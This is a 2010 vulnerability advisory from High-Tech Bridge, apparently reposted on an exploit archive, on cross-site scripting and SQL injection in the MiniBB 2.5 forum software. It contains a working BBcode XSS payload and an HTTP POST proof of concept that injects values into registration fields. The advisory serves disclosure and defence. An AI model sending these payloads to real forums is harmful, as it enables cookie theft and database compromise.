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MiniBB 2.5 Cross Site Scripting / SQL Injection

MiniBB 2.5 Cross Site Scripting / SQL Injection
Posted Nov 5, 2010
Authored by High-Tech Bridge SA | Site htbridge.com

MiniBB version 2.5 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 1ec5d2f188c1309d34c03212acdfd0fb1386cefbea3704cd46bdf4edbba6c406

MiniBB 2.5 Cross Site Scripting / SQL Injection

Change Mirror Download
======================================
Vulnerability ID: HTB22670
Reference: http://www.htbridge.ch/advisory/bbcode_xss_in_minibb.html
Product: MiniBB
Vendor: MiniBB.com ( http://www.minibb.com/ )
Vulnerable Version: 2.5
Vendor Notification: 21 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
BBcode isn't properly sanitized. This can be used to post arbitrary script code.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability.
BBcode Example:

[imgs=http://nosuch.gif][url=http://onerror=javascript:alert(/XSS/);"']123[/url][/imgs]

======================================
Vulnerability ID: HTB22671
Reference: http://www.htbridge.ch/advisory/sql_injection_in_minibb.html
Product: MiniBB
Vendor: MiniBB.com ( http://www.minibb.com/ )
Vulnerable Version: 2.5
Vendor Notification: 21 October 2010
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" scripts to properly sanitize user-supplied input in "icq", "occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" variables.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


The following PoC is available:


POST /index.php?action=registernew HTTP/1.1
Host: [host]
Referer: http://[host]/index.php?action=registernew
Content-Type: application/x-www-form-urlencoded
Content-Length: 225

action=register&login=pentest&passwd=pentest&passwd2=pentest&email=pentest%40pentest.com&icq=1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C%5C&user_sorttopics=6%5C%5C&language=7%5C%5C&login=Login


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